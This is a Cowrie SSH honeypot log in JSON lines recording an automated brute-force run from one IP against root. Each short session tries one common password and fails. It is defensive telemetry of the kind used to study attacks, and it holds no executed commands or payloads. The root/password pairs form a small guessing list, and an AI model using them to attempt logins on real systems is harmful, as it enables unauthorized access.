{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:48.472584Z","src_ip":"60.165.124.241","session":"141e7193ea40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dietpi","message":"login attempt [root/dietpi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:49.430501Z","src_ip":"60.165.124.241","session":"141e7193ea40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:50.689100Z","src_ip":"60.165.124.241","session":"141e7193ea40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38498,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c2fd2e2e157","protocol":"ssh","message":"New connection: 60.165.124.241:38498 (10.17.0.5:22) [session: 1c2fd2e2e157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:50.939020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:50.942677Z","src_ip":"60.165.124.241","session":"1c2fd2e2e157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:51.178803Z","src_ip":"60.165.124.241","session":"1c2fd2e2e157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jose","message":"login attempt [root/jose] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:51.902870Z","src_ip":"60.165.124.241","session":"1c2fd2e2e157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:53.157076Z","src_ip":"60.165.124.241","session":"1c2fd2e2e157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41310,"dst_ip":"10.17.0.5","dst_port":22,"session":"be8b84658203","protocol":"ssh","message":"New connection: 60.165.124.241:41310 (10.17.0.5:22) [session: be8b84658203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:53.394864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:53.399120Z","src_ip":"60.165.124.241","session":"be8b84658203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:53.644803Z","src_ip":"60.165.124.241","session":"be8b84658203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wl@123456","message":"login attempt [root/wl@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:54.371520Z","src_ip":"60.165.124.241","session":"be8b84658203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:55.610611Z","src_ip":"60.165.124.241","session":"be8b84658203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44188,"dst_ip":"10.17.0.5","dst_port":22,"session":"33b8d6f34da8","protocol":"ssh","message":"New connection: 60.165.124.241:44188 (10.17.0.5:22) [session: 33b8d6f34da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:55.852564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:55.857361Z","src_ip":"60.165.124.241","session":"33b8d6f34da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:56.108825Z","src_ip":"60.165.124.241","session":"33b8d6f34da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456!a","message":"login attempt [root/123456!a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:56.849917Z","src_ip":"60.165.124.241","session":"33b8d6f34da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:58.090867Z","src_ip":"60.165.124.241","session":"33b8d6f34da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46896,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6a63ee085e4","protocol":"ssh","message":"New connection: 60.165.124.241:46896 (10.17.0.5:22) [session: c6a63ee085e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:58.339228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:58.343068Z","src_ip":"60.165.124.241","session":"c6a63ee085e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:58.593547Z","src_ip":"60.165.124.241","session":"c6a63ee085e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Parasol1","message":"login attempt [root/Parasol1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:57:59.364034Z","src_ip":"60.165.124.241","session":"c6a63ee085e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:00.611263Z","src_ip":"60.165.124.241","session":"c6a63ee085e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49748,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cfb9b1afd51","protocol":"ssh","message":"New connection: 60.165.124.241:49748 (10.17.0.5:22) [session: 7cfb9b1afd51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:00.838654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:00.843394Z","src_ip":"60.165.124.241","session":"7cfb9b1afd51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:01.091138Z","src_ip":"60.165.124.241","session":"7cfb9b1afd51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mc123456","message":"login attempt [root/Mc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:01.830308Z","src_ip":"60.165.124.241","session":"7cfb9b1afd51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:03.080630Z","src_ip":"60.165.124.241","session":"7cfb9b1afd51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52574,"dst_ip":"10.17.0.5","dst_port":22,"session":"761d8ac30a0b","protocol":"ssh","message":"New connection: 60.165.124.241:52574 (10.17.0.5:22) [session: 761d8ac30a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:03.311813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:03.317169Z","src_ip":"60.165.124.241","session":"761d8ac30a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:03.559335Z","src_ip":"60.165.124.241","session":"761d8ac30a0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123..","message":"login attempt [root/root@123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:04.296563Z","src_ip":"60.165.124.241","session":"761d8ac30a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:05.537095Z","src_ip":"60.165.124.241","session":"761d8ac30a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55576,"dst_ip":"10.17.0.5","dst_port":22,"session":"af0acec07173","protocol":"ssh","message":"New connection: 60.165.124.241:55576 (10.17.0.5:22) [session: af0acec07173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:05.775503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:05.780215Z","src_ip":"60.165.124.241","session":"af0acec07173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:06.027481Z","src_ip":"60.165.124.241","session":"af0acec07173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd01!","message":"login attempt [root/P@ssw0rd01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:06.773440Z","src_ip":"60.165.124.241","session":"af0acec07173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:08.016278Z","src_ip":"60.165.124.241","session":"af0acec07173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58224,"dst_ip":"10.17.0.5","dst_port":22,"session":"32d96a06004e","protocol":"ssh","message":"New connection: 60.165.124.241:58224 (10.17.0.5:22) [session: 32d96a06004e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:08.254747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:08.264133Z","src_ip":"60.165.124.241","session":"32d96a06004e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:08.501736Z","src_ip":"60.165.124.241","session":"32d96a06004e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zshj26@1200","message":"login attempt [root/zshj26@1200] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:09.467611Z","src_ip":"60.165.124.241","session":"32d96a06004e","protocol":"ssh"}
